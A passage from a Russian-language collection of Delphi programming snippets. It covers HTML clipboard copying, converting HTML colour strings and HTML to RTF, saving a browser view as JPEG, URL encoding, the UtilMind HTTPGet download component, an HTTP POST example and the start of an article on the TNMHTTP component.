      gMem := GlobalAlloc(GMEM_DDESHARE + GMEM_MOVEABLE, Length(Strings[i]) + 1);
       {Succeeded, now read the stream contents into the memory the pointer points at}
       try
         Win32Check(gmem <> 0);
         lp := GlobalLock(gMem);
         Win32Check(lp <> nil);
         CopyMemory(lp, PChar(Strings[i]), Length(Strings[i]) + 1);
       finally
         GlobalUnlock(gMem);
       end;
       Win32Check(gmem <> 0);
       SetClipboardData(Formats[i], gMEm);
       Win32Check(gmem <> 0);
       gmem := 0;
     end;
   finally
     {$IFNDEF USEVCLCLIPBOARD}
     Win32Check(CloseClipBoard);
     {$ENDIF}
   end;
 end;
 // Example: 
procedure TForm1.Button1Click(Sender: TObject);
 begin
   CopyHTMLToClipBoard('SwissDelphiCenter', 'SwissDelphiCenter');
 end;

Перевод строки HTML кода в цвет.

Автор: Fenik WEB-сайт: http://delphibase.endimus.com

{ **** UBPFD *********** by delphibase.endimus.com ****
>> Перевод строки HTML кода в цвет
Зависимости: Graphics
Автор:       Fenik, chook_nu@uraltc.ru, Новоуральск
Copyright:   Автор Федоровских Николай
Дата:        26 октября 2002 г.
***************************************************** }
function HTMLToColor(const s: string; var Color: TColor): Boolean;
{Функция переводит строку HTML кода в цвет.
 Если результат успешен, то возвращает True
 и записывает цвет в переменную Color,
 иначе возвращает False.
 Строка должна быть например такой: #2A09F4
 в диапазоне #000000 - #FFFFFF}
  function No16: Boolean;
    {Функция проверяет относятся ли символы с 2 по 7
     к шестнадцатеричной системе счисления.
     Если относятся, то результат - False,
     иначе - True}
  var
    i: Integer;
  begin
    Result := False;
    for i := 2 to 7 do
      if not ((s[i] in ['0'..'9']) or (s[i] in ['A'..'F'])) then
      begin
        Break;
        Result := True;
      end;
  end;
  function GetNum(pos: Byte): Byte;
    {перевод строки с шетнадцатеричным двухзначным
     числом в десятичное число}
  var
    ms: string;
    E: Integer;
  begin
    {выделяем фрагмент строки длиной в 2 символа
     начиная с заданной позиции и переводим его в число}
    ms := '$' + Copy(s, pos, 2);
    Val(ms, Result, E);
  end;
begin
  Result := False;
  {Функция потерпит неудачу,
   если строка имеет неверный формат.}
  if (Length(s) <> 7) then
    Exit
  else if (s[1] <> '#') then
    Exit
  else if No16 then
    Exit;
  Color := GetNum(6) shl 16 {синий}
  or GetNum(4) shl 8 {зелёный}
  or GetNum(2); {красный}
  {или Color := RGB(GetNum(2), GetNum(4), GetNum(6));}
  Result := True;
end;

Пример использования:

if HTMLToColor(HTMLEdit.Text, C) then
begin
  Panel1.Color := C;
  ChangeColor;
end;
HTMLToColor('#808080', C) {C := clGray}

Как сохранить веб страничку в JPEG.

Автор: Donall Burns
Разговор двух инетчиков: - Как ты думаешь чем рай отличаеться от ада? - В раю просто есть интернет!!!
procedure generateJPEGfromBrowser(browser: iWebBrowser2; jpegFQFilename: String;
  srcHeight: Integer; srcWidth: Integer; tarHeight: Integer; tarWidth: Integer);
var
  sourceDrawRect : TRect;
  targetDrawRect: TRect;
  sourceBitmap: TBitmap;
  targetBitmap: TBitmap;
  jpeg: TJPEGImage;
  viewObject: IViewObject;
begin
  sourceBitmap := TBitmap.Create ;
  targetBitmap := TBitmap.Create ;
  jpeg := TJPEGImage.Create ;
  try
    try
      sourceDrawRect := Rect(0,0, srcWidth , srcHeight );
      sourceBitmap.Width :=  srcWidth ;
      sourceBitmap.Height :=  srcHeight ;
      viewObject := browser as IViewObject;
      if viewObject = nil then
        Exit;
      OleCheck(viewObject.Draw(DVASPECT_CONTENT, 1, nil, nil, self.Handle,
        sourceBitmap.Canvas.Handle, @sourceDrawRect, nil, nil, 0));
      // Resize Bitmap
      targetDrawRect := Rect(0,0, tarWidth, tarHeight);
      targetBitmap.Height := tarHeight;
      targetBitmap.Width := tarWidth;
      targetBitmap.Canvas.StretchDraw(targetDrawRect, sourceBitmap);
      // Create JPEG from Bitmap and save it
      jpeg.Assign(targetBitmap) ;
      makeFileWriteable(jpegFQFilename);
      jpeg.SaveToFile (jpegFQFilename);
    finally
      jpeg.free;
      sourceBitmap.free ;
      targetBitmap.free;
    end;
  except
  // errors
  end;
end;

Преобразование HTML в RTF.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

{ HTML to RTF by Falk Schulze }
 procedure HTMLtoRTF(html: string; var rtf: TRichedit);
 var
   i, dummy, row: Integer;
   cfont: TFont; { Standard sschrift }
   Tag, tagparams: string;
   params: TStringList;
   function GetTag(s: string; var i: Integer; var Tag, tagparams: string): Boolean;
   var
      a_tag: Boolean;
   begin
     GetTag  := False;
     Tag  := '';
     tagparams := '';
     a_tag  := False;
     while i <= Length(s) do
      begin
       Inc(i);
       // es wird nochein tag geoffnet --> das erste war kein tag; 
      if s[i] = '<' then
        begin
         GetTag := False;
         Exit;
       end;
       if s[i] = '>' then
        begin
         GetTag := True;
         Exit;
       end;
       if not a_tag then
        begin
         if s[i] = ' ' then
          begin
           if Tag <> '' then a_tag := True;
         end
          else
            Tag := Tag + s[i];
       end
        else
         tagparams := tagparams + s[i];
     end;
   end;
   procedure GetTagParams(tagparams: string; var params: TStringList);
   var
      i: Integer;
     s: string;
     gleich: Boolean;
     // kontrolliert ob nach dem zeichen bis zum nachsten zeichen ausser 
    // leerzeichen ein Ist-Gleich-Zeichen kommt 
    function notGleich(s: string; i: Integer): Boolean;
     begin
       notGleich := True;
       while i <= Length(s) do
        begin
         Inc(i);
         if s[i] = '=' then
          begin
           notGleich := False;
           Exit;
         end
          else if s[i] <> ' ' then Exit;
       end;
     end;
   begin
     Params.Clear;
     s := '';
     for i := 1 to Length(tagparams) do
      begin
       if (tagparams[i] <> ' ') then
        begin
         if tagparams[i] <> '=' then gleich := False;
         if (tagparams[i] <> '''') and (tagparams[i] <> '"') then s := s + tagparams[i]
       end
        else
        begin
         if (notGleich(tagparams, i)) and (not Gleich) then
          begin
           params.Add(s);
           s := '';
         end
          else
            Gleich := True;
       end;
     end;
     params.Add(s);
   end;
   function HtmlToColor(Color: string): TColor;
   begin
     Result := StringToColor('$' + Copy(Color, 6, 2) + Copy(Color, 4,
       2) + Copy(Color, 2, 2));
   end;
   procedure TransformSpecialChars(var s: string; i: Integer);
   var
      c: string;
     z, z2: Byte;
     i2: Integer;
   const
      nchars = 9;
     chars: array[1..nchars, 1..2] of string =
       (('O', 'O'), ('o', 'o'), ('A', 'A'), ('a', 'a'),
       ('U', 'U'), ('u', 'u'), ('?', '?'), ('<', '<'),
       ('>', '>'));
   begin
     // Maximal die nachsten 7 zeichen auf sonderzeichen uberprufen 
    c  := '';
     i2 := i;
     for z := 1 to 7 do
      begin
       c := c + s[i2];
       for z2 := 1 to nchars do
        begin
         if chars[z2, 1] = c then
          begin
           Delete(s, i, Length(c));
           Insert(chars[z2, 2], s, i);
           Exit;
         end;
       end;
       Inc(i2);
     end;
   end;
   // HtmlTag Schriftgro?e in pdf gro?e umwandeln 
  function CalculateRTFSize(pt: Integer): Integer;
   begin
     case pt of
       1: Result := 6;
       2: Result := 9;
       3: Result := 12;
       4: Result := 15;
       5: Result := 18;
       6: Result := 22;
       else
          Result := 30;
     end;
   end;
   // Die Font-Stack Funktionen 
type
    fontstack = record
     Font: array[1..100] of tfont;
     Pos: Byte;
   end;
   procedure CreateFontStack(var s: fontstack);
   begin
     s.Pos := 0;
   end;
   procedure PushFontStack(var s: Fontstack; fnt: TFont);
   begin
     Inc(s.Pos);
     s.Font[s.Pos] := TFont.Create;
     s.Font[s.Pos].Assign(fnt);
   end;
   procedure PopFontStack(var s: Fontstack; var fnt: TFont);
   begin
     if (s.Font[s.Pos] <> nil) and (s.Pos > 0) then
      begin
       fnt.Assign(s.Font[s.Pos]);
       // vom stack nehmen 
      s.Font[s.Pos].Free;
       Dec(s.Pos);
     end;
   end;
   procedure FreeFontStack(var s: Fontstack);
   begin
     while s.Pos > 0 do
      begin
       s.Font[s.Pos].Free;
       Dec(s.Pos);
     end;
   end;
 var
    fo_cnt: array[1..1000] of tfont;
   fo_liste: array[1..1000] of Boolean;
   fo_pos: TStringList;
   fo_stk: FontStack;
   wordwrap, liste: Boolean;
 begin
   CreateFontStack(fo_Stk);
   fo_Pos := TStringList.Create;
   rtf.Lines.BeginUpdate;
   rtf.Lines.Clear;
   // Das wordwrap vom richedit merken 
  wordwrap  := rtf.wordwrap;
   rtf.WordWrap := False;
   // erste Zeile hinzufugen 
  rtf.Lines.Add('');
   Params := TStringList.Create;
   cfont := TFont.Create;
   cfont.Assign(rtf.Font);
   i := 1;
   row := 0;
   Liste := False;
   // Den eigentlichen Text holen und die Formatiorung merken 
  rtf.selstart := 0;
   if Length(html) = 0 then Exit;
   repeat;
     if html[i] = '<' then
      begin
       dummy := i;
       GetTag(html, i, Tag, tagparams);
       GetTagParams(tagparams, params);
       // Das Font-Tag 
      if Uppercase(Tag) = 'FONT' then
        begin
         // Schrift auf fontstack sichern 
        pushFontstack(fo_stk, cfont);
         if params.Values['size'] <> '' then
           cfont.Size := CalculateRTFSize(StrToInt(params.Values['size']));
         if params.Values['color'] <> '' then cfont.Color :=
             htmltocolor(params.Values['color']);
       end
        else if Uppercase(Tag) = '/FONT' then  popFontstack(fo_stk, cfont)
        else // Die H-Tags-Uberschriften 
      if Uppercase(Tag) = 'H1' then
        begin
         // Schrift auf fontstack sichern 
        pushFontstack(fo_stk, cfont);
         cfont.Size := 6;
       end
        else if Uppercase(Tag) = '/H1' then  popFontstack(fo_stk, cfont)
        else // Die H-Tags-Uberschriften 
      if Uppercase(Tag) = 'H2' then
        begin
         // Schrift auf fontstack sichern 
        pushFontstack(fo_stk, cfont);
         cfont.Size := 9;
       end
        else if Uppercase(Tag) = '/H2' then  popFontstack(fo_stk, cfont)
        else // Die H-Tags-Uberschriften 
      if Uppercase(Tag) = 'H3' then
        begin
         // Schrift auf fontstack sichern 
        pushFontstack(fo_stk, cfont);
         cfont.Size := 12;
       end
        else if Uppercase(Tag) = '/H3' then  popFontstack(fo_stk, cfont)
        else // Die H-Tags-Uberschriften 
      if Uppercase(Tag) = 'H4' then
        begin
         // Schrift auf fontstack sichern 
        pushFontstack(fo_stk, cfont);
         cfont.Size := 15;
       end
        else if Uppercase(Tag) = '/H4' then  popFontstack(fo_stk, cfont)
        else // Die H-Tags-Uberschriften 
      if Uppercase(Tag) = 'H5' then
        begin
         // Schrift auf fontstack sichern 
        pushFontstack(fo_stk, cfont);
         cfont.Size := 18;
       end
        else if Uppercase(Tag) = '/H5' then  popFontstack(fo_stk, cfont)
        else // Die H-Tags-Uberschriften 
      if Uppercase(Tag) = 'H6' then
        begin
         // Schrift auf fontstack sichern 
        pushFontstack(fo_stk, cfont);
         cfont.Size := 22;
       end
        else if Uppercase(Tag) = '/H6' then  popFontstack(fo_stk, cfont)
        else // Die H-Tags-Uberschriften 
      if Uppercase(Tag) = 'H7' then
        begin
         // Schrift auf fontstack sichern 
        pushFontstack(fo_stk, cfont);
         cfont.Size := 27;
       end
        else if Uppercase(Tag) = '/H7' then  popFontstack(fo_stk, cfont)
        else // Bold-Tag 
      if Uppercase(Tag) = 'B' then cfont.Style := cfont.Style + [fsbold]
        else if Uppercase(Tag) = '/B' then cfont.Style := cfont.Style - [fsbold]
        else // Italic-Tag 
      if Uppercase(Tag) = 'I' then cfont.Style := cfont.Style + [fsitalic]
        else if Uppercase(Tag) = '/I' then cfont.Style := cfont.Style - [fsitalic]
        else // underline-Tag 
      if Uppercase(Tag) = 'U' then cfont.Style := cfont.Style + [fsunderline]
        else if Uppercase(Tag) = '/U' then cfont.Style := cfont.Style - [fsunderline]
        else // underline-Tag 
      if Uppercase(Tag) = 'UL' then liste := True
        else if Uppercase(Tag) = '/UL' then
        begin
         liste := False;
         rtf.Lines.Add('');
         Inc(row);
         rtf.Lines.Add('');
         Inc(row);
       end
        else // BR - Breakrow tag 
      if (Uppercase(Tag) = 'BR') or (Uppercase(Tag) = 'LI') then
        begin
         rtf.Lines.Add('');
         Inc(row);
       end;
       // unbekanntes tag als text ausgeben 
      // else rtf.Lines[row]:=RTF.lines[row]+'<'+tag+' '+tagparams+'>'; 
      fo_pos.Add(IntToStr(rtf.selstart));
       fo_cnt[fo_pos.Count] := TFont.Create;
       fo_cnt[fo_pos.Count].Assign(cfont);
       fo_liste[fo_pos.Count] := liste;
     end
      else
      begin
       // Spezialzeichen ubersetzen 
      if html[i] = '&' then Transformspecialchars(html, i);
       if (Ord(html[i]) <> 13) and (Ord(html[i]) <> 10) then
         rtf.Lines[row] := RTF.Lines[row] + html[i];
     end;
     Inc(i);
   until i >= Length(html);
   // dummy eintragen 
  fo_pos.Add('999999');
   // Den fertigen Text formatieren 
  for i := 0 to fo_pos.Count - 2 do
    begin
     rtf.SelStart := StrToInt(fo_pos[i]);
     rtf.SelLength := StrToInt(fo_pos[i + 1]) - rtf.SelStart;
     rtf.SelAttributes.Style := fo_cnt[i + 1].Style;
     rtf.SelAttributes.Size := fo_cnt[i + 1].Size;
     rtf.SelAttributes.Color := fo_cnt[i + 1].Color;
     // die font wieder freigeben; 
    fo_cnt[i + 1].Free;
   end;
   // die Paragraphen also Listen setzen 
  i := 0;
   while i <= fo_pos.Count - 2 do
    begin
     if fo_liste[i + 1] then
      begin
       rtf.SelStart := StrToInt(fo_pos[i + 1]);
       while fo_liste[i + 1] do Inc(i);
       rtf.SelLength := StrToInt(fo_pos[i - 1]) - rtf.SelStart;
       rtf.Paragraph.Numbering := nsBullet;
     end;
     Inc(i);
   end;
   rtf.Lines.EndUpdate;
   Params.Free;
   cfont.Free;
   rtf.WordWrap := wordwrap;
   FreeFontStack(fo_stk);
 end;

HTTP кодирование строки.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

function HTTPEncode(const AStr: string): string;
 const
   NoConversion = ['A'..'Z', 'a'..'z', '*', '@', '.', '_', '-'];
 var
   Sp, Rp: PChar;
 begin
   SetLength(Result, Length(AStr) * 3);
   Sp := PChar(AStr);
   Rp := PChar(Result);
   while Sp^ <> #0 do
   begin
     if Sp^ in NoConversion then
       Rp^ := Sp^
     else if Sp^ = ' ' then
       Rp^ := '+'
     else
     begin
       FormatBuf(Rp^, 3, '%%%.2x', 6, [Ord(Sp^)]);
       Inc(Rp, 2);
     end;
     Inc(Rp);
     Inc(Sp);
   end;
   SetLength(Result, Rp - PChar(Result));
 end;
 procedure TForm1.Button1Click(Sender: TObject);
 begin
   Edit1.Text := HTTPEncode(Edit1.Text);
 end;

Пример HTTP Get - загружаем файлы и страницы из Интернета.

Встречаются два сис-админа. Один жалуется: - Ну совсем рехнулся со своей работой. Вчера шел к тебе, набрал на домофоне 192.168... Никто не откликнулся, ну я и ушел... Второй отвечает: - А ты не пробовал: 255.255.255.255?
{*************************************************************}
{            HTTPGet component for Delphi 32                  }
{ Version:   1.94                                             }
{ E-Mail:    info@utilmind.com                                }
{ WWW:       http://www.utilmind.com                          }
{ Created:   October  19, 1999                                }
{ Modified:  June 6, 2000                                     }
{ Legal:     Copyright (c) 1999-2000, UtilMind Solutions      }
{*************************************************************}
{ PROPERTIES:                                                 }
{   Agent: String - User Agent                                }
{                                                             }
{*  BinaryData: Boolean - This setting specifies which type   }
{*                        of data will taken from the web.    }
{*                        If you set this property TRUE then  }
{*                        component will determinee the size  }
{*                        of files *before* getting them from }
{*                        the web.                            }
{*                        If this property is FALSE then as we}
{*                        do not knows the file size the      }
{*                        OnProgress event will doesn't work. }
{*                        Also please remember that is you set}
{*                        this property as TRUE you will not  }
{*                        capable to get from the web ASCII   }
{*                        data and ofter got OnError event.   }
{                                                             }
{   FileName: String - Path to local file to store the data   }
{                      taken from the web                     }
{   Password, UserName - set this properties if you trying to }
{                        get data from password protected     }
{                        directories.                         }
{   Referer: String - Additional data about referer document  }
{   URL: String - The url to file or document                 }
{   UseCache: Boolean - Get file from the Internet Explorer's }
{                       cache if requested file is cached.    }
{*************************************************************}
{ METHODS:                                                    }
{   GetFile - Get the file from the web specified in the URL  }
{             property and store it to the file specified in  }
{             the FileName property                           }
{   GetString - Get the data from web and return it as usual  }
{               String. You can receive this string hooking   }
{               the OnDoneString event.                       }
{   Abort - Stop the current session                          }
{*************************************************************}
{ EVENTS:                                                     }
{   OnDoneFile - Occurs when the file is downloaded           }
{   OnDoneString - Occurs when the string is received         }
{   OnError - Occurs when error happend                       }
{   OnProgress - Occurs at the receiving of the BINARY DATA   }
{*************************************************************}
{ Please see demo program for more information.               }
{*************************************************************}
{                     IMPORTANT NOTE:                         }
{ This software is provided 'as-is', without any express or   }
{ implied warranty. In no event will the author be held       }
{ liable for any damages arising from the use of this         }
{ software.                                                   }
{ Permission is granted to anyone to use this software for    }
{ any purpose, including commercial applications, and to      }
{ alter it and redistribute it freely, subject to the         }
{ following restrictions:                                     }
{ 1. The origin of this software must not be misrepresented,  }
{    you must not claim that you wrote the original software. }
{    If you use this software in a product, an acknowledgment }
{    in the product documentation would be appreciated but is }
{    not required.                                            }
{ 2. Altered source versions must be plainly marked as such,  }
{    and must not be misrepresented as being the original     }
{    software.                                                }
{ 3. This notice may not be removed or altered from any       }
{    source distribution.                                     }
{*************************************************************}
unit HTTPGet;
interface
uses
  Windows, Messages, SysUtils, Classes, WinInet;
type
  TOnProgressEvent = procedure(Sender: TObject; TotalSize, Readed: Integer) of object;
  TOnDoneFileEvent = procedure(Sender: TObject; FileName: String; FileSize: Integer) of object;
  TOnDoneStringEvent = procedure(Sender: TObject; Result: String) of object;
  THTTPGetThread = class(TThread)
  private
    FTAcceptTypes,
    FTAgent,
    FTURL,
    FTFileName,
    FTStringResult,
    FTUserName,
    FTPassword,
    FTPostQuery,
    FTReferer: String;
    FTBinaryData,
    FTUseCache: Boolean;
    FTResult: Boolean;
    FTFileSize: Integer;
    FTToFile: Boolean;
    BytesToRead, BytesReaded: DWord;
    FTProgress: TOnProgressEvent;
    procedure UpdateProgress;
  protected
    procedure Execute; override;
  public
    constructor Create(aAcceptTypes, aAgent, aURL, aFileName, aUserName, aPassword, 
      aPostQuery, aReferer: String; aBinaryData, aUseCache: 
      Boolean; aProgress: TOnProgressEvent; aToFile: Boolean);
  end;
  THTTPGet = class(TComponent)
  private
    FAcceptTypes: String;
    FAgent: String;
    FBinaryData: Boolean;
    FURL: String;
    FUseCache: Boolean;
    FFileName: String;
    FUserName: String;
    FPassword: String;
    FPostQuery: String;
    FReferer: String;
    FWaitThread: Boolean;
    FThread: THTTPGetThread;
    FError: TNotifyEvent;
    FResult: Boolean;
    FProgress: TOnProgressEvent;
    FDoneFile: TOnDoneFileEvent;
    FDoneString: TOnDoneStringEvent;
    procedure ThreadDone(Sender: TObject);
  public
    constructor Create(aOwner: TComponent); override;
    destructor Destroy; override;
    procedure GetFile;
    procedure GetString;
    procedure Abort;
  published
    property AcceptTypes: String read FAcceptTypes write FAcceptTypes;
    property Agent: String read FAgent write FAgent;
    property BinaryData: Boolean read FBinaryData write FBinaryData;
    property URL: String read FURL write FURL;
    property UseCache: Boolean read FUseCache write FUseCache;
    property FileName: String read FFileName write FFileName;
    property UserName: String read FUserName write FUserName;
    property Password: String read FPassword write FPassword;
    property PostQuery: String read FPostQuery write FPostQuery;
    property Referer: String read FReferer write FReferer;
    property WaitThread: Boolean read FWaitThread write FWaitThread;
    property OnProgress: TOnProgressEvent read FProgress write FProgress;
    property OnDoneFile: TOnDoneFileEvent read FDoneFile write FDoneFile;
    property OnDoneString: TOnDoneStringEvent read FDoneString write FDoneString;
    property OnError: TNotifyEvent read FError write FError;
  end;
procedure Register;
implementation
//  THTTPGetThread
constructor THTTPGetThread.Create(aAcceptTypes, aAgent, aURL, aFileName, aUserName, 
  aPassword, aPostQuery, aReferer: String; aBinaryData, aUseCache: 
  Boolean; aProgress: TOnProgressEvent; aToFile: Boolean);
begin
  FreeOnTerminate := True;
  inherited Create(True);
  FTAcceptTypes := aAcceptTypes;
  FTAgent := aAgent;
  FTURL := aURL;
  FTFileName := aFileName;
  FTUserName := aUserName;
  FTPassword := aPassword;
  FTPostQuery := aPostQuery;
  FTReferer := aReferer;
  FTProgress := aProgress;
  FTBinaryData := aBinaryData;
  FTUseCache := aUseCache;
  FTToFile := aToFile;
  Resume;
end;
procedure THTTPGetThread.UpdateProgress;
begin
  FTProgress(Self, FTFileSize, BytesReaded);
end;
procedure THTTPGetThread.Execute;
var
  hSession, hConnect, hRequest: hInternet;
  HostName, FileName: String;
  f: File;
  Buf: Pointer;
  dwBufLen, dwIndex: DWord;
  Data: Array[0..$400] of Char;
  TempStr: String;
  RequestMethod: PChar;
  InternetFlag: DWord;
  AcceptType: LPStr;
  procedure ParseURL(URL: String; var HostName, FileName: String);
    procedure ReplaceChar(c1, c2: Char; var St: String);
    var
      p: Integer;
    begin
      while True do
       begin
        p := Pos(c1, St);
        if p = 0 then Break
        else St[p] := c2;
       end;
    end;
  var
    i: Integer;
  begin
    if Pos('http://', LowerCase(URL)) <> 0 then
      System.Delete(URL, 1, 7);
    i := Pos('/', URL);
    HostName := Copy(URL, 1, i);
    FileName := Copy(URL, i, Length(URL) - i + 1);
    if (Length(HostName) > 0) and (HostName[Length(HostName)] = '/') then
      SetLength(HostName, Length(HostName) - 1);
  end;
 procedure CloseHandles;
 begin
   InternetCloseHandle(hRequest);
   InternetCloseHandle(hConnect);
   InternetCloseHandle(hSession);
 end;
begin
  try
    ParseURL(FTURL, HostName, FileName);
    if Terminated then
     begin
      FTResult := False;
      Exit;
     end;
    if FTAgent <> '' then
     hSession := InternetOpen(PChar(FTAgent),
       INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0)
    else
     hSession := InternetOpen(nil,
       INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0);
    hConnect := InternetConnect(hSession, PChar(HostName),
      INTERNET_DEFAULT_HTTP_PORT, PChar(FTUserName), PChar(FTPassword), INTERNET_SERVICE_HTTP, 0, 0);
    if FTPostQuery = '' then RequestMethod := 'GET'
    else RequestMethod := 'POST';
    if FTUseCache then InternetFlag := 0
    else InternetFlag := INTERNET_FLAG_RELOAD;
    AcceptType := PChar('Accept: ' + FTAcceptTypes);
    hRequest := HttpOpenRequest(hConnect, RequestMethod, PChar(FileName), 'HTTP/1.0',
                PChar(FTReferer), @AcceptType, InternetFlag, 0);
    if FTPostQuery = '' then
     HttpSendRequest(hRequest, nil, 0, nil, 0)
    else
     HttpSendRequest(hRequest, 'Content-Type: application/x-www-form-urlencoded', 47,
                     PChar(FTPostQuery), Length(FTPostQuery));
    if Terminated then
     begin
      CloseHandles;
      FTResult := False;
      Exit;
     end;
    dwIndex  := 0;
    dwBufLen := 1024;
    GetMem(Buf, dwBufLen);
    FTResult := HttpQueryInfo(hRequest, HTTP_QUERY_CONTENT_LENGTH,
                              Buf, dwBufLen, dwIndex);
    if Terminated then
     begin
      FreeMem(Buf);
      CloseHandles;
      FTResult := False;
      Exit;
     end;
    if FTResult or not FTBinaryData then
     begin
      if FTResult then
        FTFileSize := StrToInt(StrPas(Buf));
      BytesReaded := 0;
      if FTToFile then
       begin
        AssignFile(f, FTFileName);
        Rewrite(f, 1);
       end
      else FTStringResult := '';
      while True do
       begin
        if Terminated then
         begin
          if FTToFile then CloseFile(f);
          FreeMem(Buf);
          CloseHandles;
          FTResult := False;
          Exit;
         end;
        if not InternetReadFile(hRequest, @Data, SizeOf(Data), BytesToRead) then Break
        else
         if BytesToRead = 0 then Break
         else
          begin
           if FTToFile then
            BlockWrite(f, Data, BytesToRead)
           else
            begin
             TempStr := Data;
             SetLength(TempStr, BytesToRead);
             FTStringResult := FTStringResult + TempStr;
            end;
           inc(BytesReaded, BytesToRead);
           if Assigned(FTProgress) then
            Synchronize(UpdateProgress);
          end;
       end;
      if FTToFile then
        FTResult := FTFileSize = Integer(BytesReaded)
      else
       begin
        SetLength(FTStringResult, BytesReaded);
        FTResult := BytesReaded <> 0;
       end;
      if FTToFile then CloseFile(f);
     end;
    FreeMem(Buf);
    CloseHandles;
  except
  end;
end;
// HTTPGet
constructor THTTPGet.Create(aOwner: TComponent);
begin
  inherited Create(aOwner);
  FAcceptTypes := '*/*';
  FAgent := 'UtilMind HTTPGet';
end;
destructor THTTPGet.Destroy;
begin
  Abort;
  inherited Destroy;
end;
procedure THTTPGet.GetFile;
var
  Msg: TMsg;
begin
  if not Assigned(FThread) then
   begin
    FThread := THTTPGetThread.Create(FAcceptTypes, FAgent, FURL, FFileName, FUserName, 
      FPassword, FPostQuery, FReferer, FBinaryData, FUseCache, FProgress, True);
    FThread.OnTerminate := ThreadDone;
    if FWaitThread then
    while Assigned(FThread) do
     while PeekMessage(Msg, 0, 0, 0, PM_REMOVE) do
      begin
        TranslateMessage(Msg);
        DispatchMessage(Msg);
      end;
   end
end;
procedure THTTPGet.GetString;
var
  Msg: TMsg;
begin
  if not Assigned(FThread) then
   begin
    FThread := THTTPGetThread.Create(FAcceptTypes, FAgent, FURL, FFileName, FUserName, 
      FPassword, FPostQuery, FReferer, FBinaryData, FUseCache, FProgress, False);
    FThread.OnTerminate := ThreadDone;
    if FWaitThread then
     while PeekMessage(Msg, 0, 0, 0, PM_REMOVE) do
      begin
        TranslateMessage(Msg);
        DispatchMessage(Msg);
      end;
   end
end;
procedure THTTPGet.Abort;
begin
  if Assigned(FThread) then
   begin
    FThread.Terminate;
    FThread.FTResult := False;
   end;
end;
procedure THTTPGet.ThreadDone(Sender: TObject);
begin
  FResult := FThread.FTResult;
  if FResult then
   if FThread.FTToFile then
    if Assigned(FDoneFile) then FDoneFile(Self, FThread.FTFileName, FThread.FTFileSize) else
   else
    if Assigned(FDoneString) then FDoneString(Self, FThread.FTStringResult) else
  else
   if Assigned(FError) then FError(Self);
  FThread := nil;
end;
procedure Register;
begin
  RegisterComponents('UtilMind', [THTTPGet]);
end;
end.

Вывести результат запроса HTTP Post.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

uses IdMultipartFormData;
 { .... }
 procedure TForm1.Button1Click(Sender: TObject);
 var
   data: TIdMultiPartFormDataStream;
 begin
   data := TIdMultiPartFormDataStream.Create;
   try
     { add the used parameters for the script }
     data.AddFormField('param1', 'value1');
     data.AddFormField('param2', 'value2');
     data.AddFormField('param3', 'value3');
     { Call the Post method of TIdHTTP and read the result into TMemo }
     Memo1.Lines.Text := IdHTTP1.Post('http://localhost/script.php', data);
   finally
     data.Free;
   end;
 end;

Работа с HTTP протоколом.

Ищу крэк к DEEP BLUE. Каспаров.

В связи с все большим вниманием, которое привлекает к себе Интернет, все больше людей становятся заинтересованы в сетевых технологиях. Данная статья посвящена программированию на Borland Delphi с использованием одного из самых популярных Интернет-протоколов - HTTP.

А именно, здесь мы рассмотрим компонент TNMHTTP (NetMasters HTTP), который можно обнаружить на вкладке FastNet палитры компонентов Дельфи.

Начнем с теории. Если Вы уже знаете, что такое HTTP и зачем он нужен, то пропустите следующий раздел.

Зачем нужен HTTP

Итак, где же используется HTTP? Если Вы хотя бы чуть-чуть заглядывали на Интернет-странички и встречались с термином Web, то наверняка обратили внимание на то, что адреса страничек, как правило, начинаются с http://. Протокол HTTP (HyperText Transfer Protocol) позволяет принимать и посылать не только гипертекстовые документы (типа html), но и любые другие (тексты (txt), изображения (gif, jpg), и т.д.). Ниже приведены типовые задачи, для выполнения которых необходимо использовать HTTP:

Браузеры - программы, позволяющие просматривать Интернет-странички; Скачивальщики - программы, позволяющие скачивать из Интернета странички, рисунки и другие документы; Чаты - программы, позволяющие общаться по сети. Часто документы HTTP используются для хранения сообщений (как, например, в конференциях).

Это лишь список некоторых из стандартных направлений программирования с использованием HTTP. Вы можете применять этот протокол для любых своих целей. Например, автоматические системы обновления данных, посылка запросов в Интернетовские базы, и еще множество всяческих других возможностей!

Краткое описание свойств, методов и событий

Ниже приведена таблица, содержащая наиболее краткое описание основных свойств, методов и событий компонента TNMHTTP:

Свойства.

Body строка, содержащая либо путь к файлу, в который будет записано тело http-документа (если св-во InputFileMode равно True), либо непосредственно само тело (если св-во InputFileMode равно False). Тип: string; Header строка, содержащая либо путь к файлу, в который будет записан заголовок http-документа (если св-во InputFileMode равно True), либо непосредственно сам заголовок (если св-во InputFileMode равно False). Тип: string; HeaderInfo структура, содержащая различную информацию о http-документе (подробней см. в help-файле). Тип: THeaderInfo; InputFileMode тип записи результата. Значение True - запись в файлы, указанные в свойствах Body и Header, False - запись в сами эти свойства. Тип: Boolean; OutputFileMode тип отсылаемых данных (методами Put, Post и Trace). Значение True - данные для отправки содержатся в файлах, указанных при вызове этих методов, а False - в самих аргументах этих методов. Тип: Boolean;

Далее некоторые свойства, унаследованные от TPowerSock:

BytesRecvd, BytesSent, BytesTotal количество отправленных, принятых и общее количество байтов соотвественно. Тип: LongInt; Connected показывает, установленно ли в данный момент соединение. Тип: Boolean; BeenCanceled показывает, было ли прервано соединение с сервером. Тип: Boolean; Host строка, содержащая хост-имя удаленного компьютера. Заполнять не надо, так как это свойство устанавливается автоматически при вызове методов Get, Put, Post и т.д. Тип: string. Port - Integer, содержащий порт удаленного компьютера (заполняется тоже автоматически); TimeOut таймаут в миллисекундах. Тип: Integer;

Еще есть множество свойств, но я пока остановлюсь на уже перечисленных. За дополнительной информацией обращайтесь к help-у по Дельфи.

Методы:

